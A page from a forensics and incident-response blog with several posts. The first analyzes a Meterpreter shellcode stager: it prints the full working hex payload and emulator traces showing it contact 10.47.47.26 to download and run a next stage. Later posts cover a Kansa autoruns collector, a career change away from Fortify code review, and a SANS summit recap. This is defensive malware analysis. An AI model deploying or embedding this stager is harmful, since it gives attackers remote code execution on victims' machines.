Tuesday, August 4, 2020
Hunting injected processes by the modules they keep
Saturday, July 25, 2020
Analyzing an Instance of Meterpreter's Shellcode
e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40109a LoadLibraryA(wininet)
4010a8 InternetOpenA()
4010c4 InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9 HttpOpenRequestA(path: /8Kh89, )
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000
40109a LoadLibraryA(wininet)
4010a8 InternetOpenA()
4010c4 InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9 HttpOpenRequestA(path: /8Kh89, )
4010e9 HttpSendRequestA()
401117 VirtualAlloc(base=0 , sz=400000) = 600000
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1
401000 E882000000 call 0x401087 step: 0
401087 5D pop ebp
401088 686E657400 push dword 0x74656e
40108d 6877696E69 push dword 0x696e6977
401092 54 push esp
401093 684C772607 push dword 0x726774c step: 5
401098 FFD5 call ebp
401005 60 pusha
401006 89E5 mov ebp,esp
401008 31C0 xor eax,eax
40100a 648B5030 mov edx,fs:[eax+0x30] step: 10
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401014 8B7228 mov esi,[edx+0x28]
401017 0FB74A26 movzx ecx,[edx+0x26]
40101b 31FF xor edi,edi step: 15
40101d AC lodsb
40101e 3C61 cmp al,0x61
401020 7C02 jl 0x401024 vv
401022 2C20 sub al,0x20
401024 C1CF0D ror edi,0xd step: 20
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2
401000 E882000000 call 0x401087 step: 0 foffset: 0
eax=0 ecx=0 edx=0 ebx=0
esp=12fe00 ebp=12fff0 esi=0 edi=0 EFL 0
401087 5D pop ebp step: 1 foffset: 87
eax=0 ecx=0 edx=0 ebx=0
esp=12fdfc ebp=12fff0 esi=0 edi=0 EFL 0
401088 686E657400 push dword 0x74656e step: 2 foffset: 88
eax=0 ecx=0 edx=0 ebx=0
esp=12fe00 ebp=401005 esi=0 edi=0 EFL 0
40108d 6877696E69 push dword 0x696e6977 step: 3 foffset: 8d
eax=0 ecx=0 edx=0 ebx=0
esp=12fdfc ebp=401005 esi=0 edi=0 EFL 0
401092 54 push esp step: 4 foffset: 92
eax=0 ecx=0 edx=0 ebx=0
esp=12fdf8 ebp=401005 esi=0 edi=0 EFL 0
401093 684C772607 push dword 0x726774c step: 5 foffset: 93
eax=0 ecx=0 edx=0 ebx=0
esp=12fdf4 ebp=401005 esi=0 edi=0 EFL 0
401098 FFD5 call ebp step: 6 foffset: 98
eax=0 ecx=0 edx=0 ebx=0
esp=12fdf0 ebp=401005 esi=0 edi=0 EFL 0
401005 60 pusha step: 7 foffset: 5
eax=0 ecx=0 edx=0 ebx=0
esp=12fdec ebp=401005 esi=0 edi=0 EFL 0
401006 89E5 mov ebp,esp step: 8 foffset: 6
eax=0 ecx=0 edx=0 ebx=0
esp=12fdcc ebp=401005 esi=0 edi=0 EFL 0
? - help, this help screen, h also works
v - change verbosity (0-4)
g - go - continue with v=0
s - step, continues execution, ENTER also works
c - reset step counter
r - execute till return (v=0 recommended)
u - unassembled x instructions at address (default eip)
b - sets next free breakpoint (10 max)
m - reset max step count (-1 = infinate)
e - set eip (file offset or VA)
w - dWord dump,(32bit ints) prompted for hex base addr and then size
d - Dump Memory (hex dump) prompted for hex base addr and then size
x - execute x steps (use with reset step count)
t - set time delay (ms) for verbosity level 1/2
k - show stack
i - break at instruction (scans disasm for next string match)
f - dereF registers (show any common api addresses in regs)
j - show log of last 10 instructions executed
o - step over
; - Set comment in IDA if .idasync active
+/- - basic calculator to add or subtract 2 hex values
.bl - list set breakpoints
.bc - clear breakpoint
.api - scan memory for api table
.nop - nops out instruction at address (default eip)
.seh - shows current value at fs[0]
.segs - show values of segment registers
.skip - skips current instruction and goes to next
.reg - manually set register value
.dllmap - show dll map
.poke1 - write a single byte to memory
.poke4 - write a 4 byte value to memory
.lookup - get symbol for address
.symbol - get address for symbol (special: peb,dllmap,fs0)
.savemem - saves a memdump of specified range to file
.idasync - connect IDASrvr plugin and sync view at step or break.
.allocs - list memory allocations made
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000
40109a LoadLibraryA(wininet)
4010a8 InternetOpenA()
4010c4 InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9 HttpOpenRequestA(path: /8Kh89, )
4010e9 HttpSendRequestA()
401117 VirtualAlloc(base=0 , sz=400000) = 600000
Stepcount 2550001
Analysis report:
Reads of Dll memory detected (use -mdll for details)
Uses peb.InMemoryOrder List
Signatures Found: None
Memory Monitor Log:
*PEB (fs30) accessed at 0x40100a
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000
40109a LoadLibraryA(wininet)
40104e mdll msvcrt> lodsb 77c5cd2f READ
40104e mdll msvcrt> lodsb 77c5cd30 READ
40104e mdll msvcrt> lodsb 77c5cd31 READ
40104e mdll msvcrt> lodsb 77c5cd32 READ
40104e mdll msvcrt> lodsb 77c5cd33 READ
40104e mdll msvcrt> lodsb 77c5cd34 READ
40104e mdll msvcrt> lodsb 77c5cd35 READ
40104e mdll msvcrt> lodsb 77c5cd27 READ
40104e mdll msvcrt> lodsb 77c5cd28 READ
40104e mdll msvcrt> lodsb 77c5cd29 READ
40104e mdll msvcrt> lodsb 77c5cd2a READ
40104e mdll msvcrt> lodsb 77c5cd2b READ
40104e mdll msvcrt> lodsb 77c5cd2c READ
40104e mdll msvcrt> lodsb 77c5cd2d READ
40104e mdll msvcrt> lodsb 77c5cd2e READ
40104e mdll msvcrt> lodsb 77c5cd20 READ
40104e mdll msvcrt> lodsb 77c5cd21 READ
40104e mdll msvcrt> lodsb 77c5cd22 READ
Stepcount 444651
Analysis report:
Reads of Dll memory detected (use -mdll for details)
Uses peb.InMemoryOrder List
Signatures Found: None
Memory Monitor Log:
*PEB (fs30) accessed at 0x40100a
401006 89E5 mov ebp,esp
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30] step: 10
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30] step: 178605
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp step: 718215
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30]
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp step: 1262515
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30]
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30]
40100e 8B520C mov edx,[edx+0xc] step: 1809940
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp step: 2357005
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30]
40100e 8B520C mov edx,[edx+0xc]
401011 8B5214 mov edx,[edx+0x14]
401006 89E5 mov ebp,esp step: 2506045
401008 31C0 xor eax,eax
> 40100a 648B5030 mov edx,fs:[eax+0x30]
40100e 8B520C mov edx,[edx+0xc]
What have we learned?
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000
40109a LoadLibraryA(wininet)
4010a8 InternetOpenA()
4010c4 InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9 HttpOpenRequestA(path: /8Kh89, )
4010e9 HttpSendRequestA()
401117 VirtualAlloc(base=0 , sz=400000) = 600000
Wednesday, March 25, 2015
Kansa: Get-AutorunscDeep.ps1 -- Taking Autorunsc to 11
Kansa has had a collector that wraps around Autorunsc.exe from Sysinternals almost since I began writing Kansa in March of 2014. It's such a great little utility for enumerating so many persistence mechanisms in Windows, though by no means, does it cover all of them.
Get-AutorunscDeep.ps1 goes to 11. How so? There are two ways that Get-AutorunscDeep.ps1 improves on Autorunsc.exe alone.
- Get-AutorunscDeep.ps1 includes code written by my friend @z4ns4tsu (who will be speaking at the SANS 2015 DFIR Summit) that calculates the Shannon Entropy of Autorunsc's Image Path property. As many of you well know, packed binaries are common in malware families and those binaries have higher entropy than many legit binaries, so knowing a file's entropy can be a useful lead generation tool when dealing with large amounts of data.
- Get-AutorunscDeep.ps1 goes a step further than Autorunsc.exe alone for common interpreters that execute scripts such as cmd.exe, PowerShell.exe or wscript.exe that may call .bat, .ps1 or .vbs files repsectively. Below in Figure 1, I've run the latest version of Autorunsc.exe and saved the output to a csv file, then loaded that csv file into a PowerShell variable called $data, then I'm dumping the contents of $data for any entry that calls a PowerShell script:
| Figure 1: Output of Autorunsc.exe for a PowerShell ASEP (Click to enlarge) |
Get-AutorunscDeep.ps1 solves this problem, in most cases, by adding a hash of the script called by the interpreter. So for ASEPs like cmd.exe, PowerShell.exe and wscript.exe that call scripts, you'll see the hash of the binary itself as Autorunsc.exe calculates it, and you'll get the hash of the script because Get-AutorunscDeep.ps1 will calculate it for you, assuming it can find and read the script. Below in Figure 2, is an example of what this looks like, the data was collected from the same host as above, but remotely using Kansa:
![]() |
| Figure 2: Output of Get-AutorunscDeep.ps1 for the same PowerShell ASEP (Click to enlarge) |
Wednesday, April 14, 2010
Career change management
For the last two years, I spent about 99% of my working life on web application security. Week one at my new job had me in training, learning how to use Fortify's static code analysis tool. I'd done manual code review before in both developer and security roles. In a previous position, I'd evaluated the open source static analysis tools and found them to be less effective than performing data flow analysis manually. Granted, data flow analysis may not catch all security flaws, but it provides good coverage against attacks from user input.
After two years working with Fortify, I'm happy to be done with it. Code review is difficult for humans to do well. Humans can barely write good software. Creating an expert system that does code review effectively is a "hard problem."
To be fair, the company I worked for was using Fortify out of the box with no custom rules and a decision was made early on to review all findings regardless of confidence level and severity rating. Decisions have inertia. I was told by someone within Fortify that our usage was "really aggressive" and learned that many similar enterprises were only reviewing issues with high confidence and high severity. Perhaps our aggressive program skewed my perception of the tool's ability to find vulnerabilities.
I will say this in Fortify's favor though, requiring developers to use the tool and to audit the issues in their code (audit does not always mean fix), does educate developers who take the time to read and understand the issues. So even if the tool is suboptimal for finding real security issues, it will make at least some of your developers think and learn about security issues and in the end having developers who understand security issues and who can write safe code is probably more valuable than having a tool that can reliably find flaws.
I've glossed over it thus far, but for those reading between the lines, yes, I've moved on from the day job that I've had for the last two years. A few of you knew I worked for a regional bank holding company doing application security work (mostly web related). It was the most demanding position I've ever held, note demanding does not equate to challenging, though at times the position was both. All-in-all my experience over the last two years was very positive. I worked with a team of smart folks and pushed myself to learn some critical skills.
I'm working in a new role now that is more aligned with my interests in incident response and forensics, though I will continue to work in the web application penetration space as often as I can. But if you ask me to do code review, I'll likely be doing it the old fashioned way, tracing data flows, line-by-line.
With my professional and personal interests more in sync than they have been for several years, I hope to be able to post some new research here or at the SANS Digital Forensics Blog, which I've been helping Rob Lee manage since its inception.
Thursday, July 16, 2009
2009 SANS Forensics Summit Recap: Day Two
Ovie Carroll, Director of the Cybercrime Lab at U.S. Department of Justice Computer Crime and Intellectual Property Section started off day two. Carroll is co-host of the Cyberspeak podcast and like Richard Bejtlich, Carroll gives a great presentation accompanied by an entertaining slide deck. One of the things I really liked about Carroll's presentation was that he took time to update it with information that had been presented the previous day. There weren't a bunch of updates, but it was nice to see that he thought content from the previous day was as valuable as I did and that he took the time to make the updates at all demonstrated how much he cared about the subject matter.
Carroll spoke about trends in and the future of forensics from a law enforcement perspective. One of the key take aways from Carroll's talk was that there is a mountain of work facing law enforcement and they are having difficulty keeping up. He mentioned that it was not uncommon for some agencies to have systems in their possession for 18 months before they get a look at them. Having worked for defense attorneys (prosecutors never call me) for a number of years now, I haven't seen delays quite that long, but I don't doubt it for some agencies.
Clearly there are a number of factors contributing to the delay. One is that law enforcement is interested in analyzing computers even in traditional crimes because they have found so much good evidence on people's hard drives. Two, there simply aren't enough people doing this work due to lack of qualified personnel and due to budget constraints the problem likely won't go away, ever. Lastly and no less importantly, there's just a ton of information being produced each year in this digital age. Carroll said that in 2008 more content was produced online than humanity produced in traditional forms (paper and ink) over the last 5000 years. Sure, not all of that data is relevant to case work, but some of it is and it takes time to analyze what's relevant.
Carroll has been advocating for a phased approach for a while now and he repeated the call during his talk. Law enforcement agencies should take a triage approach and try to build enough of a case without completely analyzing systems that they can get suspects to plea bargain and thus clear out some of the case load, at least for the more mild offenders. This is something I've told students as well, yes we want to analyze every piece of evidence that we collect, unless of course we can build a strong case without doing all that comprehensive work and short-circuit the process through a plea bargain.
One more thing about Carroll, he's funny. You want that in morning speaker.
Following Carrol, Chris Kelly Managing Attorney for the Cybercrime Division of Massachusetts' Attorney General's Office addressed the audience. Kelly had some great stories about some really stupid criminals, the ones who get caught, generally are, but one guy rose above the rest by snapping a picture of himself with someone's cell phone while he was in the act of robbing that someone's home. Good times.
Kelly started out talking about how much things have changed in the cybercrime world. We've gone from phone phreakers, defacements and obnoxious worms to organized criminal networks, terrorism and traditional crimes that involve computers as sources of evidence. As an example of the latter, consider a case in my area where a college professor was convicted of killing his ex-wife. One piece of evidence found on his home computer was search history about ways to kill people. He claimed he was doing research for a novel. Along these lines, Kelly brought up the case of Neil Entwistle who killed his wife and daughter. In his search history were queries about how to kill people.
Kelly also spoke about some of the training they are offering to law enforcement including the need for first responders to stop pulling the plug and to perform collection of volatile evidence. He played a hilarious clip from CSI of cell phone forensic analysis that had everyone in the room laughing.
At this point, I'm sorry to say, I had to cut out, but a user panel assembled to discuss aspects of forensics in law enforcement. The panel was to have included Carroll, Kelly, Andrew Bonillo, Special Agent/Computer Forensic Examiner at the U.S. Secret Service; Richard Brittson, retired detective, New York City Police Department; Jennifer Kolde, Computer Scientist with the FBI San Diego Division's National Security Cyber Squad; Cindy Murphy, detective, City of Madison, WI Police Department; Ken Privette, Special Agent in Charge of Digital Evidence Services, United States Postal Service Office of Inspector General; Paul J. Vitchock, Special Agent, Federal Bureau of Investigation, Washington Field Office; and Elizabeth Whitney, Forensic Computer Examiner, City-County Bureau of Identification, Raleigh, NC.
I apologize if I missed anyone on the list, because I missed the panel, I'm going off of the agenda so some of these folks may not have been there and others may have been on the panel in their place. I have looked over some of the presentations that were given and I'm sure I missed some great content and as someone who frequently works opposite law enforcement, I wish I could have caught this panel.
After lunch, Dr. Doug White Director of the FANS Lab at Roger Williams University spoke about several different topics related to forensics and the courtroom including some cases where admissability of evidence came into play. I got a little lost at one point while White was speaking about this. His slides referred to US. V. Richardson 583 F. Supp. 2d 694 (W.D. PA 2008) with the sub-bullet referring to hacker defense, but the only thing I can find about the case online indicates that there were scoping issues with a warrant rather than a hacker defense.
White brought up another interesting case, U. S. v. Carter 549 F. Supp. 2d (D. Nev. 2008), discussed here, where the IP address of a suspect's system was deemed circumstantial evidence and could not be used to tie an individual to the crime. Lesson for investigators, get as much supporting evidence as you can.
White talked about the Adam Walsh Act that limits defense attorneys and experts to "reasonable access" to the evidence in cases that involve the exploitation of children. Reasonable access generally means at the law enforcement agency during normal business hours. This is a well intentioned law that has cost me some business but if it prevents children from suffering at the hands of incompetent practitioners who lose hard drives or otherwise leak evidence, then it's a good thing.
One great recommendation White made was to spend downtime coming up with simple ways to explain complex topics. There are lots of things those of us in tech take for granted, like IP addressing and NAT, but when we have to explain them to non-technical folks it can be difficult. Spending time to write clear and easy to understand explanations that can be quickly added to the appendix of a report saves time. It's like developers reusing code.
Following White's talk Craig Ball, trial lawyer and forensic expert, touched on this same idea during his lightning talk as part of the user panel on challenges in the court room. Ball is a wonderful presenter. He struck me as a very intelligent, thoughtful and friendly gentleman (he's a lawyer?!). Ball had a great slide deck loaded with graphics including some simple animations that he uses to explain complex topics in simple ways to members of the jury, things like how a hard drive works.
Ball also mentioned using visualization software for turning timelines into nice looking charts. I believe he said he uses a product called Time Map, but a quick search reveals there are quite a few different products on the market. Check out Ball's website where he has loads of materials available for free. I would love to see Ball at work in the court room. I hope to catch him giving a longer presentation at some point in the future.
Also on the panel with Ball were White, Gary Kessler, Associate Professor of Computer and Digital Forensics and Director of the Center for Digital Investigations at Chamberlain College; Bret Padres Direcor of Digital Forensics for Stroz Friedberg and co-host of the Cyberspeak podcast and Larry Daniel, principal examiner for Guardian Digital Forensics. I may have missed someone, Dave Kleiman was on the agenda, but his slides aren't on the conference CD and I can't remember him being on the panel, this is not to say that if he was on the panel, he didn't have anything noteworthy to say. Rather, it's a reflection on my own poor memory and the fact that I'm writing this more than a week after the event.
Kessler's question was to rank the qualities in order of importance that an investigator should have and to explain his ranking. I liked Kessler's answer because he took the list given to him (analysis skills, acquisition skills, data recovery skills, report writing skills (Kessler expanded this to communication skills), law enforcement background, computer science background, problem solving skills, integrity and caution) and he added his own qualities of curiosity, technical astuteness and tenacity.
Kessler's overall number one choice was integrity, something I happen to agree with. And his least important qualities were a computer science background followed by a law enforcement background. For those of us in the field who lack a computer science degree and a law enforcement background, it's easy to agree with Kessler's putting those at the bottom of the list. His second most important quality was technical astuteness. Oddly enough, I know some folks with computer science degrees, who have difficulty with technology outside of their narrow field of specialization.
Kessler made a point about good examiners that I've heard repeated by others in the field. So much of the job is about being tenacious. Hard problems are hard and many times there are no quick wins, the examiner who sticks with it and works through the adversity is the one you want working for you.
At this point, I had to cut out and catch a flight. All in all, this was the greatest incident response and forensics focused conference I've attended. If you work in the field, you should try and attend next year, this is not a normal SANS event, it's really a single track conference bookended by the training that SANS if known for.
I hope to see you there next year.
Grand Canyon Rim to Rim: New Gear and Best Intentions
I pulled my late 1980s backpack out of storage. My first thought was that it was heavier than I remembered, just over seven pounds empty. Ba...
-
If you're fortunate enough to be running a modern endpoint detection and response (EDR) product or even endpoint protection (EPP), you m...
-
I pulled my late 1980s backpack out of storage. My first thought was that it was heavier than I remembered, just over seven pounds empty. Ba...
-
My previous posts in this series have touched on the core issues that Sheryl Sandberg addresses in her book Lean In: Women, Work, and the W...
